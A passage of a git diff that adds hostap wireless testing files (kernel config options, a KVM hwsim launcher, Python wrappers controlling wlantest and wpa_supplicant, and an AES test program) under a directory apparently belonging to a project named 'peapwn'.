+# CONFIG_CRYPTO_RMD160 is not set +# CONFIG_CRYPTO_RMD256 is not set +# CONFIG_CRYPTO_RMD320 is not set +# CONFIG_CRYPTO_SHA1 is not set +# CONFIG_CRYPTO_SHA1_SSSE3 is not set +# CONFIG_CRYPTO_SHA256_SSSE3 is not set +# CONFIG_CRYPTO_SHA512_SSSE3 is not set +# CONFIG_CRYPTO_SHA256 is not set +# CONFIG_CRYPTO_SHA512 is not set +# CONFIG_CRYPTO_TGR192 is not set +# CONFIG_CRYPTO_WP512 is not set +# CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set + +# +# Ciphers +# +CONFIG_CRYPTO_AES=y +# CONFIG_CRYPTO_AES_X86_64 is not set +# CONFIG_CRYPTO_AES_NI_INTEL is not set +# CONFIG_CRYPTO_ANUBIS is not set +CONFIG_CRYPTO_ARC4=y +# CONFIG_CRYPTO_BLOWFISH is not set +# CONFIG_CRYPTO_BLOWFISH_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA is not set +# CONFIG_CRYPTO_CAMELLIA_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_CAST5 is not set +# CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAST6 is not set +# CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set +# CONFIG_CRYPTO_DES is not set +# CONFIG_CRYPTO_FCRYPT is not set +# CONFIG_CRYPTO_KHAZAD is not set +# CONFIG_CRYPTO_SALSA20 is not set +# CONFIG_CRYPTO_SALSA20_X86_64 is not set +# CONFIG_CRYPTO_SEED is not set +# CONFIG_CRYPTO_SERPENT is not set +# CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set +# CONFIG_CRYPTO_TEA is not set +# CONFIG_CRYPTO_TWOFISH is not set +# CONFIG_CRYPTO_TWOFISH_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set +# CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set + +# +# Compression +# +# CONFIG_CRYPTO_DEFLATE is not set +# CONFIG_CRYPTO_ZLIB is not set +# CONFIG_CRYPTO_LZO is not set +# CONFIG_CRYPTO_LZ4 is not set +# CONFIG_CRYPTO_LZ4HC is not set + +# +# Random Number Generation +# +# CONFIG_CRYPTO_ANSI_CPRNG is not set +# CONFIG_CRYPTO_USER_API_HASH is not set +# CONFIG_CRYPTO_USER_API_SKCIPHER is not set +# CONFIG_CRYPTO_HW is not set +CONFIG_HAVE_KVM=y +# CONFIG_VIRTUALIZATION is not set +CONFIG_BINARY_PRINTF=y + +# +# Library routines +# +CONFIG_BITREVERSE=y +CONFIG_GENERIC_STRNCPY_FROM_USER=y +CONFIG_GENERIC_STRNLEN_USER=y +CONFIG_GENERIC_NET_UTILS=y +CONFIG_GENERIC_FIND_FIRST_BIT=y +CONFIG_GENERIC_PCI_IOMAP=y +CONFIG_GENERIC_IOMAP=y +CONFIG_GENERIC_IO=y +CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y +# CONFIG_CRC_CCITT is not set +# CONFIG_CRC16 is not set +# CONFIG_CRC_T10DIF is not set +# CONFIG_CRC_ITU_T is not set +CONFIG_CRC32=y +# CONFIG_CRC32_SELFTEST is not set +CONFIG_CRC32_SLICEBY8=y +# CONFIG_CRC32_SLICEBY4 is not set +# CONFIG_CRC32_SARWATE is not set +# CONFIG_CRC32_BIT is not set +# CONFIG_CRC7 is not set +# CONFIG_LIBCRC32C is not set +# CONFIG_CRC8 is not set +# CONFIG_XZ_DEC is not set +# CONFIG_XZ_DEC_BCJ is not set +CONFIG_HAS_IOMEM=y +CONFIG_HAS_IOPORT=y +CONFIG_HAS_DMA=y +CONFIG_CPU_RMAP=y +CONFIG_DQL=y +CONFIG_NLATTR=y +CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE=y +CONFIG_AVERAGE=y +# CONFIG_CORDIC is not set +# CONFIG_DDR is not set +CONFIG_FONT_SUPPORT=y +# CONFIG_FONTS is not set +CONFIG_FONT_8x8=y +CONFIG_FONT_8x16=y diff --git a/peapwn/mods/hostap/tests/hwsim/vm/vm-run.sh b/peapwn/mods/hostap/tests/hwsim/vm/vm-run.sh new file mode 100755 index 000000000..dd245d4ff --- /dev/null +++ b/peapwn/mods/hostap/tests/hwsim/vm/vm-run.sh @@ -0,0 +1,54 @@ +#!/bin/bash + +cd "$(dirname $0)" + +if [ -z "$TESTDIR" ] ; then + TESTDIR=$(pwd)/../ +fi + +LOGS=/tmp/hwsim-test-logs/ + +# increase the memory size if you want to run with valgrind, 512 MB works +MEMORY=128 + +# Some ubuntu systems (notably 12.04) have issues with this - since the guest +# mounts as read-only it should be safe to not specify ,readonly. Override in +# vm-config if needed (see below) +ROTAG=,readonly + +# set this to ttyS0 to see kvm messages (if something doesn't work) +KVMOUT=ttyS1 + +# you can set EPATH if you need anything extra in $PATH inside the VM +#EPATH=/some/dir + +# extra KVM arguments, e.g., -s for gdbserver +#KVMARGS=-s + +# number of channels each hwsim device supports +CHANNELS=1 + +test -f vm-config && . vm-config + +if [ -z "$KERNEL" ] && [ -z "$KERNELDIR" ] ; then + echo "You need to set a KERNEL or KERNELDIR (in the environment or vm-config)" + exit 2 +fi +if [ -z "$KERNEL" ] ; then + KERNEL=$KERNELDIR/arch/x86_64/boot/bzImage +fi + + +CMD=$TESTDIR/vm/inside.sh +LOGDIR=$LOGS/$(date +%s) +mkdir -p $LOGDIR + +exec kvm \ + -kernel $KERNEL -smp 4 \ + $KVMARGS -m $MEMORY -nographic \ + -fsdev local,security_model=none,id=fsdev-root,path=/$ROTAG \ + -device virtio-9p-pci,id=fs-root,fsdev=fsdev-root,mount_tag=/dev/root \ + -fsdev local,security_model=none,id=fsdev-logs,path="$LOGDIR",writeout=immediate \ + -device virtio-9p-pci,id=fs-logs,fsdev=fsdev-logs,mount_tag=logshare \ + -monitor null -serial stdio -serial file:$LOGDIR/console \ + -append "mac80211_hwsim.channels=$CHANNELS mac80211_hwsim.radios=5 init=$CMD testdir=$TESTDIR console=$KVMOUT root=/dev/root rootflags=trans=virtio,version=9p2000.u ro rootfstype=9p EPATH=$EPATH ARGS=$*" diff --git a/peapwn/mods/hostap/tests/hwsim/wlantest.py b/peapwn/mods/hostap/tests/hwsim/wlantest.py new file mode 100644 index 000000000..c6dba12a7 --- /dev/null +++ b/peapwn/mods/hostap/tests/hwsim/wlantest.py @@ -0,0 +1,116 @@ +#!/usr/bin/python +# +# Python class for controlling wlantest +# Copyright (c) 2013, Jouni Malinen +# +# This software may be distributed under the terms of the BSD license. +# See README for more details. + +import os +import time +import subprocess +import logging +import wpaspy + +logger = logging.getLogger() + +class Wlantest: + def __init__(self): + if os.path.isfile('../../wlantest/wlantest_cli'): + self.wlantest_cli = '../../wlantest/wlantest_cli' + else: + self.wlantest_cli = 'wlantest_cli' + + def flush(self): + res = subprocess.check_output([self.wlantest_cli, "flush"]) + if "FAIL" in res: + raise Exception("wlantest_cli flush failed") + + def relog(self): + res = subprocess.check_output([self.wlantest_cli, "relog"]) + if "FAIL" in res: + raise Exception("wlantest_cli relog failed") + + def add_passphrase(self, passphrase): + res = subprocess.check_output([self.wlantest_cli, "add_passphrase", + passphrase]) + if "FAIL" in res: + raise Exception("wlantest_cli add_passphrase failed") + + def add_wepkey(self, key): + res = subprocess.check_output([self.wlantest_cli, "add_wepkey", key]) + if "FAIL" in res: + raise Exception("wlantest_cli add_key failed") + + def info_bss(self, field, bssid): + res = subprocess.check_output([self.wlantest_cli, "info_bss", + field, bssid]) + if "FAIL" in res: + raise Exception("Could not get BSS info from wlantest for " + bssid) + return res + + def info_sta(self, field, bssid, addr): + res = subprocess.check_output([self.wlantest_cli, "info_sta", + field, bssid, addr]) + if "FAIL" in res: + raise Exception("Could not get STA info from wlantest for " + addr) + return res + + def get_sta_counter(self, field, bssid, addr): + res = subprocess.check_output([self.wlantest_cli, "get_sta_counter", + field, bssid, addr]); + if "FAIL" in res: + raise Exception("wlantest_cli command failed") + return int(res) + + def tdls_clear(self, bssid, addr1, addr2): + res = subprocess.check_output([self.wlantest_cli, "clear_tdls_counters", + bssid, addr1, addr2]); + + def get_tdls_counter(self, field, bssid, addr1, addr2): + res = subprocess.check_output([self.wlantest_cli, "get_tdls_counter", + field, bssid, addr1, addr2]); + if "FAIL" in res: + raise Exception("wlantest_cli command failed") + return int(res) + + def require_ap_pmf_mandatory(self, bssid): + res = self.info_bss("rsn_capab", bssid) + if "MFPR" not in res: + raise Exception("AP did not require PMF") + if "MFPC" not in res: + raise Exception("AP did not enable PMF") + res = self.info_bss("key_mgmt", bssid) + if "PSK-SHA256" not in res: + raise Exception("AP did not enable SHA256-based AKM for PMF") + + def require_ap_pmf_optional(self, bssid): + res = self.info_bss("rsn_capab", bssid) + if "MFPR" in res: + raise Exception("AP required PMF") + if "MFPC" not in res: + raise Exception("AP did not enable PMF") + + def require_ap_no_pmf(self, bssid): + res = self.info_bss("rsn_capab", bssid) + if "MFPR" in res: + raise Exception("AP required PMF") + if "MFPC" in res: + raise Exception("AP enabled PMF") + + def require_sta_pmf_mandatory(self, bssid, addr): + res = self.info_sta("rsn_capab", bssid, addr) + if "MFPR" not in res: + raise Exception("STA did not require PMF") + if "MFPC" not in res: + raise Exception("STA did not enable PMF") + + def require_sta_pmf(self, bssid, addr): + res = self.info_sta("rsn_capab", bssid, addr) + if "MFPC" not in res: + raise Exception("STA did not enable PMF") + + def require_sta_key_mgmt(self, bssid, addr, key_mgmt): + res = self.info_sta("key_mgmt", bssid, addr) + if key_mgmt not in res: + raise Exception("Unexpected STA key_mgmt") diff --git a/peapwn/mods/hostap/tests/hwsim/wpasupplicant.py b/peapwn/mods/hostap/tests/hwsim/wpasupplicant.py new file mode 100644 index 000000000..8c449787f --- /dev/null +++ b/peapwn/mods/hostap/tests/hwsim/wpasupplicant.py @@ -0,0 +1,631 @@ +#!/usr/bin/python +# +# Python class for controlling wpa_supplicant +# Copyright (c) 2013, Jouni Malinen +# +# This software may be distributed under the terms of the BSD license. +# See README for more details. + +import os +import time +import logging +import re +import subprocess +import wpaspy + +logger = logging.getLogger() +wpas_ctrl = '/var/run/wpa_supplicant' + +class WpaSupplicant: + def __init__(self, ifname, global_iface=None): + self.ifname = ifname + self.group_ifname = None + self.ctrl = wpaspy.Ctrl(os.path.join(wpas_ctrl, ifname)) + self.mon = wpaspy.Ctrl(os.path.join(wpas_ctrl, ifname)) + self.mon.attach() + + self.global_iface = global_iface + if global_iface: + self.global_ctrl = wpaspy.Ctrl(global_iface) + self.global_mon = wpaspy.Ctrl(global_iface) + self.global_mon.attach() + + def request(self, cmd): + logger.debug(self.ifname + ": CTRL: " + cmd) + return self.ctrl.request(cmd) + + def global_request(self, cmd): + if self.global_iface is None: + self.request(cmd) + else: + logger.debug(self.ifname + ": CTRL: " + cmd) + return self.global_ctrl.request(cmd) + + def group_request(self, cmd): + if self.group_ifname and self.group_ifname != self.ifname: + logger.debug(self.group_ifname + ": CTRL: " + cmd) + gctrl = wpaspy.Ctrl(os.path.join(wpas_ctrl, self.group_ifname)) + return gctrl.request(cmd) + return self.request(cmd) + + def ping(self): + return "PONG" in self.request("PING") + + def reset(self): + res = self.request("FLUSH") + if not "OK" in res: + logger.info("FLUSH to " + self.ifname + " failed: " + res) + self.request("SET ignore_old_scan_res 0") + self.request("SET external_sim 0") + self.request("SET p2p_add_cli_chan 0") + self.request("SET p2p_no_go_freq ") + self.request("SET p2p_pref_chan ") + self.request("SET disallow_aps ") + self.request("SET p2p_no_group_iface 1") + self.request("P2P_SET per_sta_psk 0") + self.request("P2P_SET disabled 0") + self.request("P2P_SERVICE_FLUSH") + self.group_ifname = None + self.dump_monitor() + + iter = 0 + while iter < 60: + state = self.get_driver_status_field("scan_state") + if "SCAN_STARTED" in state or "SCAN_REQUESTED" in state: + logger.info(self.ifname + ": Waiting for scan operation to complete before continuing") + time.sleep(1) + else: + break + iter = iter + 1 + if iter == 60: + logger.error(self.ifname + ": Driver scan state did not clear") + print "Trying to clear cfg80211/mac80211 scan state" + try: + cmd = ["sudo", "ifconfig", self.ifname, "down"] + subprocess.call(cmd) + except subprocess.CalledProcessError, e: + logger.info("ifconfig failed: " + str(e.returncode)) + logger.info(e.output) + try: + cmd = ["sudo", "ifconfig", self.ifname, "up"] + subprocess.call(cmd) + except subprocess.CalledProcessError, e: + logger.info("ifconfig failed: " + str(e.returncode)) + logger.info(e.output) + + if not self.ping(): + logger.info("No PING response from " + self.ifname + " after reset") + + def add_network(self): + id = self.request("ADD_NETWORK") + if "FAIL" in id: + raise Exception("ADD_NETWORK failed") + return int(id) + + def remove_network(self, id): + id = self.request("REMOVE_NETWORK " + str(id)) + if "FAIL" in id: + raise Exception("REMOVE_NETWORK failed") + return None + + def set_network(self, id, field, value): + res = self.request("SET_NETWORK " + str(id) + " " + field + " " + value) + if "FAIL" in res: + raise Exception("SET_NETWORK failed") + return None + + def set_network_quoted(self, id, field, value): + res = self.request("SET_NETWORK " + str(id) + " " + field + ' "' + value + '"') + if "FAIL" in res: + raise Exception("SET_NETWORK failed") + return None + + def list_networks(self): + res = self.request("LIST_NETWORKS") + lines = res.splitlines() + networks = [] + for l in lines: + if "network id" in l: + continue + [id,ssid,bssid,flags] = l.split('\t') + network = {} + network['id'] = id + network['ssid'] = ssid + network['bssid'] = bssid + network['flags'] = flags + networks.append(network) + return networks + + def hs20_enable(self): + self.request("SET interworking 1") + self.request("SET hs20 1") + + def add_cred(self): + id = self.request("ADD_CRED") + if "FAIL" in id: + raise Exception("ADD_CRED failed") + return int(id) + + def remove_cred(self, id): + id = self.request("REMOVE_CRED " + str(id)) + if "FAIL" in id: + raise Exception("REMOVE_CRED failed") + return None + + def set_cred(self, id, field, value): + res = self.request("SET_CRED " + str(id) + " " + field + " " + value) + if "FAIL" in res: + raise Exception("SET_CRED failed") + return None + + def set_cred_quoted(self, id, field, value): + res = self.request("SET_CRED " + str(id) + " " + field + ' "' + value + '"') + if "FAIL" in res: + raise Exception("SET_CRED failed") + return None + + def add_cred_values(self, params): + id = self.add_cred() + + quoted = [ "realm", "username", "password", "domain", "imsi", + "excluded_ssid" ] + for field in quoted: + if field in params: + self.set_cred_quoted(id, field, params[field]) + + not_quoted = [ "eap", "required_roaming_consortium" ] + for field in not_quoted: + if field in params: + self.set_cred(id, field, params[field]) + + return id; + + def select_network(self, id): + id = self.request("SELECT_NETWORK " + str(id)) + if "FAIL" in id: + raise Exception("SELECT_NETWORK failed") + return None + + def connect_network(self, id): + self.dump_monitor() + self.select_network(id) + ev = self.wait_event(["CTRL-EVENT-CONNECTED"], timeout=10) + if ev is None: + raise Exception("Association with the AP timed out") + self.dump_monitor() + + def get_status(self): + res = self.request("STATUS") + lines = res.splitlines() + vals = dict() + for l in lines: + [name,value] = l.split('=', 1) + vals[name] = value + return vals + + def get_status_field(self, field): + vals = self.get_status() + if field in vals: + return vals[field] + return None + + def get_group_status(self): + res = self.group_request("STATUS") + lines = res.splitlines() + vals = dict() + for l in lines: + [name,value] = l.split('=', 1) + vals[name] = value + return vals + + def get_group_status_field(self, field): + vals = self.get_group_status() + if field in vals: + return vals[field] + return None + + def get_driver_status(self): + res = self.request("STATUS-DRIVER") + lines = res.splitlines() + vals = dict() + for l in lines: + [name,value] = l.split('=', 1) + vals[name] = value + return vals + + def get_driver_status_field(self, field): + vals = self.get_driver_status() + if field in vals: + return vals[field] + return None + + def p2p_dev_addr(self): + return self.get_status_field("p2p_device_address") + + def p2p_interface_addr(self): + return self.get_group_status_field("address") + + def p2p_listen(self): + return self.global_request("P2P_LISTEN") + + def p2p_find(self, social=False): + if social: + return self.global_request("P2P_FIND type=social") + return self.global_request("P2P_FIND") + + def p2p_stop_find(self): + return self.global_request("P2P_STOP_FIND") + + def wps_read_pin(self): + #TODO: make this random + self.pin = "12345670" + return self.pin + + def peer_known(self, peer, full=True): + res = self.global_request("P2P_PEER " + peer) + if peer.lower() not in res.lower(): + return False + if not full: + return True + return "[PROBE_REQ_ONLY]" not in res + + def discover_peer(self, peer, full=True, timeout=15, social=True): + logger.info(self.ifname + ": Trying to discover peer " + peer) + if self.peer_known(peer, full): + return True + self.p2p_find(social) + count = 0 + while count < timeout: + time.sleep(1) + count = count + 1 + if self.peer_known(peer, full): + return True + return False + + def get_peer(self, peer): + res = self.global_request("P2P_PEER " + peer) + if peer.lower() not in res.lower(): + raise Exception("Peer information not available") + lines = res.splitlines() + vals = dict() + for l in lines: + if '=' in l: + [name,value] = l.split('=', 1) + vals[name] = value + return vals + + def group_form_result(self, ev, expect_failure=False, go_neg_res=None): + if expect_failure: + if "P2P-GROUP-STARTED" in ev: + raise Exception("Group formation succeeded when expecting failure") + exp = r'<.>(P2P-GO-NEG-FAILURE) status=([0-9]*)' + s = re.split(exp, ev) + if len(s) < 3: + return None + res = {} + res['result'] = 'go-neg-failed' + res['status'] = int(s[2]) + return res + + if "P2P-GROUP-STARTED" not in ev: + raise Exception("No P2P-GROUP-STARTED event seen") + + exp = r'<.>(P2P-GROUP-STARTED) ([^ ]*) ([^ ]*) ssid="(.*)" freq=([0-9]*) ((?:psk=.*)|(?:passphrase=".*")) go_dev_addr=([0-9a-f:]*)' + s = re.split(exp, ev) + if len(s) < 8: + raise Exception("Could not parse P2P-GROUP-STARTED") + res = {} + res['result'] = 'success' + res['ifname'] = s[2] + self.group_ifname = s[2] + res['role'] = s[3] + res['ssid'] = s[4] + res['freq'] = s[5] + if "[PERSISTENT]" in ev: + res['persistent'] = True + else: + res['persistent'] = False + p = re.match(r'psk=([0-9a-f]*)', s[6]) + if p: + res['psk'] = p.group(1) + p = re.match(r'passphrase="(.*)"', s[6]) + if p: + res['passphrase'] = p.group(1) + res['go_dev_addr'] = s[7] + + if go_neg_res: + exp = r'<.>(P2P-GO-NEG-SUCCESS) role=(GO|client) freq=([0-9]*)' + s = re.split(exp, go_neg_res) + if len(s) < 4: + raise Exception("Could not parse P2P-GO-NEG-SUCCESS") + res['go_neg_role'] = s[2] + res['go_neg_freq'] = s[3] + + return res + + def p2p_go_neg_auth(self, peer, pin, method, go_intent=None, persistent=False, freq=None): + if not self.discover_peer(peer): + raise Exception("Peer " + peer + " not found") + self.dump_monitor() + cmd = "P2P_CONNECT " + peer + " " + pin + " " + method + " auth" + if go_intent: + cmd = cmd + ' go_intent=' + str(go_intent) + if freq: + cmd = cmd + ' freq=' + str(freq) + if persistent: + cmd = cmd + " persistent" + if "OK" in self.global_request(cmd): + return None + raise Exception("P2P_CONNECT (auth) failed") + + def p2p_go_neg_auth_result(self, timeout=1, expect_failure=False): + go_neg_res = None + ev = self.wait_global_event(["P2P-GO-NEG-SUCCESS", + "P2P-GO-NEG-FAILURE"], timeout); + if ev is None: + if expect_failure: + return None + raise Exception("Group formation timed out") + if "P2P-GO-NEG-SUCCESS" in ev: + go_neg_res = ev + ev = self.wait_global_event(["P2P-GROUP-STARTED"], timeout); + if ev is None: + if expect_failure: + return None + raise Exception("Group formation timed out") + self.dump_monitor() + return self.group_form_result(ev, expect_failure, go_neg_res) + + def p2p_go_neg_init(self, peer, pin, method, timeout=0, go_intent=None, expect_failure=False, persistent=False, freq=None): + if not self.discover_peer(peer): + raise Exception("Peer " + peer + " not found") + self.dump_monitor() + if pin: + cmd = "P2P_CONNECT " + peer + " " + pin + " " + method + else: + cmd = "P2P_CONNECT " + peer + " " + method + if go_intent: + cmd = cmd + ' go_intent=' + str(go_intent) + if freq: + cmd = cmd + ' freq=' + str(freq) + if persistent: + cmd = cmd + " persistent" + if "OK" in self.global_request(cmd): + if timeout == 0: + self.dump_monitor() + return None + go_neg_res = None + ev = self.wait_global_event(["P2P-GO-NEG-SUCCESS", + "P2P-GO-NEG-FAILURE"], timeout) + if ev is None: + if expect_failure: + return None + raise Exception("Group formation timed out") + if "P2P-GO-NEG-SUCCESS" in ev: + go_neg_res = ev + ev = self.wait_global_event(["P2P-GROUP-STARTED"], timeout) + if ev is None: + if expect_failure: + return None + raise Exception("Group formation timed out") + self.dump_monitor() + return self.group_form_result(ev, expect_failure, go_neg_res) + raise Exception("P2P_CONNECT failed") + + def wait_event(self, events, timeout): + count = 0 + while count < timeout * 10: + count = count + 1 + time.sleep(0.1) + while self.mon.pending(): + ev = self.mon.recv() + logger.debug(self.ifname + ": " + ev) + for event in events: + if event in ev: + return ev + return None + + def wait_global_event(self, events, timeout): + if self.global_iface is None: + self.wait_event(events, timeout) + else: + count = 0 + while count < timeout * 10: + count = count + 1 + time.sleep(0.1) + while self.global_mon.pending(): + ev = self.global_mon.recv() + logger.debug(self.ifname + "(global): " + ev) + for event in events: + if event in ev: + return ev + return None + + def wait_go_ending_session(self): + ev = self.wait_event(["P2P-GROUP-REMOVED"], timeout=3) + if ev is None: + raise Exception("Group removal event timed out") + if "reason=GO_ENDING_SESSION" not in ev: + raise Exception("Unexpected group removal reason") + + def dump_monitor(self): + while self.mon.pending(): + ev = self.mon.recv() + logger.debug(self.ifname + ": " + ev) + while self.global_mon.pending(): + ev = self.global_mon.recv() + logger.debug(self.ifname + "(global): " + ev) + + def remove_group(self, ifname=None): + if ifname is None: + ifname = self.group_ifname if self.group_ifname else self.ifname + if "OK" not in self.global_request("P2P_GROUP_REMOVE " + ifname): + raise Exception("Group could not be removed") + self.group_ifname = None + + def p2p_start_go(self, persistent=None, freq=None): + self.dump_monitor() + cmd = "P2P_GROUP_ADD" + if persistent is None: + pass + elif persistent is True: + cmd = cmd + " persistent" + else: + cmd = cmd + " persistent=" + str(persistent) + if freq: + cmd = cmd + " freq=" + str(freq) + if "OK" in self.global_request(cmd): + ev = self.wait_global_event(["P2P-GROUP-STARTED"], timeout=5) + if ev is None: + raise Exception("GO start up timed out") + self.dump_monitor() + return self.group_form_result(ev) + raise Exception("P2P_GROUP_ADD failed") + + def p2p_go_authorize_client(self, pin): + cmd = "WPS_PIN any " + pin + if "FAIL" in self.group_request(cmd): + raise Exception("Failed to authorize client connection on GO") + return None + + def p2p_go_authorize_client_pbc(self): + cmd = "WPS_PBC" + if "FAIL" in self.group_request(cmd): + raise Exception("Failed to authorize client connection on GO") + return None + + def p2p_connect_group(self, go_addr, pin, timeout=0, social=False): + self.dump_monitor() + if not self.discover_peer(go_addr, social=social): + raise Exception("GO " + go_addr + " not found") + self.dump_monitor() + cmd = "P2P_CONNECT " + go_addr + " " + pin + " join" + if "OK" in self.global_request(cmd): + if timeout == 0: + self.dump_monitor() + return None + ev = self.wait_global_event(["P2P-GROUP-STARTED"], timeout) + if ev is None: + raise Exception("Joining the group timed out") + self.dump_monitor() + return self.group_form_result(ev) + raise Exception("P2P_CONNECT(join) failed") + + def tdls_setup(self, peer): + cmd = "TDLS_SETUP " + peer + if "FAIL" in self.group_request(cmd): + raise Exception("Failed to request TDLS setup") + return None + + def tdls_teardown(self, peer): + cmd = "TDLS_TEARDOWN " + peer + if "FAIL" in self.group_request(cmd): + raise Exception("Failed to request TDLS teardown") + return None + + def connect(self, ssid, psk=None, proto=None, key_mgmt=None, wep_key0=None, + ieee80211w=None, pairwise=None, group=None, scan_freq=None, + eap=None, identity=None, anonymous_identity=None, + password=None, phase1=None, phase2=None, ca_cert=None, + domain_suffix_match=None, password_hex=None, + client_cert=None, private_key=None, + wait_connect=True): + logger.info("Connect STA " + self.ifname + " to AP") + id = self.add_network() + self.set_network_quoted(id, "ssid", ssid) + if psk: + self.set_network_quoted(id, "psk", psk) + if proto: + self.set_network(id, "proto", proto) + if key_mgmt: + self.set_network(id, "key_mgmt", key_mgmt) + if ieee80211w: + self.set_network(id, "ieee80211w", ieee80211w) + if pairwise: + self.set_network(id, "pairwise", pairwise) + if group: + self.set_network(id, "group", group) + if wep_key0: + self.set_network(id, "wep_key0", wep_key0) + if scan_freq: + self.set_network(id, "scan_freq", scan_freq) + if eap: + self.set_network(id, "eap", eap) + if identity: + self.set_network_quoted(id, "identity", identity) + if anonymous_identity: + self.set_network_quoted(id, "anonymous_identity", + anonymous_identity) + if password: + self.set_network_quoted(id, "password", password) + if password_hex: + self.set_network(id, "password", password_hex) + if ca_cert: + self.set_network_quoted(id, "ca_cert", ca_cert) + if client_cert: + self.set_network_quoted(id, "client_cert", client_cert) + if private_key: + self.set_network_quoted(id, "private_key", private_key) + if phase1: + self.set_network_quoted(id, "phase1", phase1) + if phase2: + self.set_network_quoted(id, "phase2", phase2) + if domain_suffix_match: + self.set_network_quoted(id, "domain_suffix_match", + domain_suffix_match) + if wait_connect: + self.connect_network(id) + else: + self.dump_monitor() + self.select_network(id) + return id + + def scan(self, type=None): + if type: + cmd = "SCAN TYPE=" + type + else: + cmd = "SCAN" + self.dump_monitor() + if not "OK" in self.request(cmd): + raise Exception("Failed to trigger scan") + ev = self.wait_event(["CTRL-EVENT-SCAN-RESULTS"], 15) + if ev is None: + raise Exception("Scan timed out") + + def roam(self, bssid): + self.dump_monitor() + self.request("ROAM " + bssid) + ev = self.wait_event(["CTRL-EVENT-CONNECTED"], timeout=10) + if ev is None: + raise Exception("Roaming with the AP timed out") + self.dump_monitor() + + def wps_reg(self, bssid, pin, new_ssid=None, key_mgmt=None, cipher=None, + new_passphrase=None): + self.dump_monitor() + if new_ssid: + self.request("WPS_REG " + bssid + " " + pin + " " + + new_ssid.encode("hex") + " " + key_mgmt + " " + + cipher + " " + new_passphrase.encode("hex")) + ev = self.wait_event(["WPS-SUCCESS"], timeout=15) + else: + self.request("WPS_REG " + bssid + " " + pin) + ev = self.wait_event(["WPS-CRED-RECEIVED"], timeout=15) + if ev is None: + raise Exception("WPS cred timed out") + ev = self.wait_event(["WPS-FAIL"], timeout=15) + if ev is None: + raise Exception("WPS timed out") + ev = self.wait_event(["CTRL-EVENT-CONNECTED"], timeout=15) + if ev is None: + raise Exception("Association with the AP timed out") + + def relog(self): + self.request("RELOG") + + def wait_completed(self, timeout=10): + for i in range(0, timeout * 2): + if self.get_status_field("wpa_state") == "COMPLETED": + return + time.sleep(0.5) + raise Exception("Timeout while waiting for COMPLETED state") diff --git a/peapwn/mods/hostap/tests/test-aes.c b/peapwn/mods/hostap/tests/test-aes.c new file mode 100644 index 000000000..e7b553453 --- /dev/null +++ b/peapwn/mods/hostap/tests/test-aes.c @@ -0,0 +1,582 @@ +/* + * Test program for AES + * Copyright (c) 2003-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/crypto.h" +#include "crypto/aes_wrap.h" + +#define BLOCK_SIZE 16 + +static void test_aes_perf(void) +{ +#if 0 /* this did not seem to work with new compiler?! */ +#ifdef __i386__ +#define rdtscll(val) \ + __asm__ __volatile__("rdtsc" : "=A" (val)) + const int num_iters = 10; + int i; + unsigned int start, end; + u8 key[16], pt[16], ct[16]; + void *ctx; + + printf("keySetupEnc:"); + for (i = 0; i < num_iters; i++) { + rdtscll(start); + ctx = aes_encrypt_init(key, 16); + rdtscll(end); + aes_encrypt_deinit(ctx); + printf(" %d", end - start); + } + printf("\n"); + + printf("Encrypt:"); + ctx = aes_encrypt_init(key, 16); + for (i = 0; i < num_iters; i++) { + rdtscll(start); + aes_encrypt(ctx, pt, ct); + rdtscll(end); + printf(" %d", end - start); + } + aes_encrypt_deinit(ctx); + printf("\n"); +#endif /* __i386__ */ +#endif +} + + +static int test_eax(void) +{ + u8 msg[] = { 0xF7, 0xFB }; + u8 key[] = { 0x91, 0x94, 0x5D, 0x3F, 0x4D, 0xCB, 0xEE, 0x0B, + 0xF4, 0x5E, 0xF5, 0x22, 0x55, 0xF0, 0x95, 0xA4 }; + u8 nonce[] = { 0xBE, 0xCA, 0xF0, 0x43, 0xB0, 0xA2, 0x3D, 0x84, + 0x31, 0x94, 0xBA, 0x97, 0x2C, 0x66, 0xDE, 0xBD }; + u8 hdr[] = { 0xFA, 0x3B, 0xFD, 0x48, 0x06, 0xEB, 0x53, 0xFA }; + u8 cipher[] = { 0x19, 0xDD, 0x5C, 0x4C, 0x93, 0x31, 0x04, 0x9D, + 0x0B, 0xDA, 0xB0, 0x27, 0x74, 0x08, 0xF6, 0x79, + 0x67, 0xE5 }; + u8 data[sizeof(msg)], tag[BLOCK_SIZE]; + + memcpy(data, msg, sizeof(msg)); + if (aes_128_eax_encrypt(key, nonce, sizeof(nonce), hdr, sizeof(hdr), + data, sizeof(data), tag)) { + printf("AES-128 EAX mode encryption failed\n"); + return 1; + } + if (memcmp(data, cipher, sizeof(data)) != 0) { + printf("AES-128 EAX mode encryption returned invalid cipher " + "text\n"); + return 1; + } + if (memcmp(tag, cipher + sizeof(data), BLOCK_SIZE) != 0) { + printf("AES-128 EAX mode encryption returned invalid tag\n"); + return 1; + } + + if (aes_128_eax_decrypt(key, nonce, sizeof(nonce), hdr, sizeof(hdr), + data, sizeof(data), tag)) { + printf("AES-128 EAX mode decryption failed\n"); + return 1; + } + if (memcmp(data, msg, sizeof(data)) != 0) { + printf("AES-128 EAX mode decryption returned invalid plain " + "text\n"); + return 1; + } + + return 0; +} + + +static int test_cbc(void) +{ + struct cbc_test_vector { + u8 key[16]; + u8 iv[16]; + u8 plain[32]; + u8 cipher[32]; + size_t len; + } vectors[] = { + { + { 0x06, 0xa9, 0x21, 0x40, 0x36, 0xb8, 0xa1, 0x5b, + 0x51, 0x2e, 0x03, 0xd5, 0x34, 0x12, 0x00, 0x06 }, + { 0x3d, 0xaf, 0xba, 0x42, 0x9d, 0x9e, 0xb4, 0x30, + 0xb4, 